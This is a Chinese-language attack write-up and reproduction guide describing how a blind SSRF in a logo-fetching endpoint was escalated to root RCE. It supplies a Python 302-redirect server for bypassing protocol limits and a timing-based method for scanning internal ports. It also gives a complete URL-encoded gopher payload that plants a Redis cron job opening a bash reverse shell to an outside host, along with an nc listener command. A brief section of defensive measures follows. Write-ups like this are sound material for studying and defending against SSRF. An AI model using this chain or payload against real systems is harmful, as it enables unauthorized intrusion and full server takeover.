记一次从盲SSRF到RCE
字数 1481 2025-08-05 11:39:40
从盲SSRF到RCE的完整攻击链分析与复现指南
一、漏洞概述
本教学文档详细分析了一个从盲SSRF(Server-Side Request Forgery,服务端请求伪造)升级到RCE(Remote Code Execution,远程代码执行)的完整攻击链。攻击者通过精心构造的请求,利用目标系统的服务端请求功能,最终实现了远程代码执行,获得了root权限。
二、攻击流程总览
- 目标发现与信息收集
- 识别潜在的SSRF漏洞点
- 绕过SSRF防护机制
- 利用Gopher协议进行内部服务探测
- 识别Redis服务并构造RCE载荷
- 通过302重定向绕过协议限制
- 实现远程代码执行
三、详细攻击步骤
1. 目标发现与信息收集
关键工具:
- GAU (https://github.com/lc/gau):获取URL和参数列表
- Ffuf (https://github.com/ffuf/ffuf):目录模糊测试
- Burp Suite:代理拦截和请求分析
方法:
- 分析JavaScript文件寻找隐藏参数
- 对Web应用功能进行全面测试并记录所有请求
- 重点关注包含外部URL参数的请求
发现点:
GET /xxx/logoGrabber?url=http://example.com
Host: site.example.com
2. 初步SSRF测试
测试方法:
- 尝试访问内部IP地址(通常被防护)
- 枚举公司子域名并测试访问
- 验证响应是否包含目标站点的标题和logo信息
成功验证:
GET /xxx/logoGrabber?url=http://somecorpsite.example.com
Host: site.example.com
3. 绕过SSRF防护
发现点:
- 直接使用Gopher协议导致服务器错误
- 302重定向可以绕过协议限制
验证方法:
- 设置Python重定向服务器:
# 302redirect.py
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
- 启动服务器:
python3 302redirect.py 8080 "http://mycollaboratorurl/"
- 测试重定向:
GET /xxx/logoGrabber?url=http://my302redirectserver:8080/
Host: site.example.com
4. Gopher协议利用
关键发现:
- 通过302重定向可以成功使用Gopher协议
- Gopher协议可用于访问内部服务
工具:
- Gopherus (https://github.com/tarunkant/Gopherus):生成各种服务的Gopher有效载荷
支持的服务:
- MySQL (Port-3306)
- FastCGI (Port-9000)
- Memcached (Port-11211)
- Redis (Port-6379)
- Zabbix (Port-10050)
- SMTP (Port-25)
5. 内部端口扫描
方法:
- 通过响应时间差异判断端口状态
- 快速响应→端口开放
- 慢速响应→端口关闭
示例:
302redirect → gopher://127.0.0.1:6379 [Response time: 500ms]-OPEN
302redirect → gopher://127.0.0.1:3306 [Response time: 3000ms]-CLOSED
6. Redis RCE利用
攻击步骤:
- 使用Gopherus生成Redis反向shell载荷:
./gopherus.py --exploit redis
- 生成的载荷示例:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
- 设置重定向服务器:
python3 302redirect.py 8080 "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A..."
- 启动Netcat监听:
nc -lvnp 1337
- 发送最终攻击请求:
GET /xxx/logoGrabber?url=http://my302redirectserver:8080/
Host: site.example.com
注意: Redis执行命令可能有延迟(案例中延迟了约5分钟)
四、防御措施
1. 针对SSRF的防护
- 实施严格的URL白名单验证
- 禁用非常用协议(如Gopher)
- 验证请求的目标IP地址(禁止内部IP)
- 使用DNS重绑定防护
2. 针对Redis的防护
- 配置Redis绑定特定IP
- 设置Redis密码认证
- 禁用危险命令(如FLUSHALL、CONFIG)
- 以非root用户运行Redis
3. 纵深防御
- 实施网络分段,限制服务间通信
- 监控异常的内部服务请求
- 定期进行安全审计和渗透测试
五、总结
本案例展示了一个完整的攻击链,从最初的信息收集到最终的RCE。关键点包括:
- 通过302重定向绕过协议限制
- 利用响应时间差异进行内部端口扫描
- 使用Gopher协议与内部服务交互
- 针对Redis服务的特定攻击载荷构造
- 耐心等待命令执行(注意可能的延迟)
这种攻击方式具有很高的危险性,因为它可以绕过许多传统的防护措施,安全团队需要特别关注SSRF漏洞的潜在影响范围。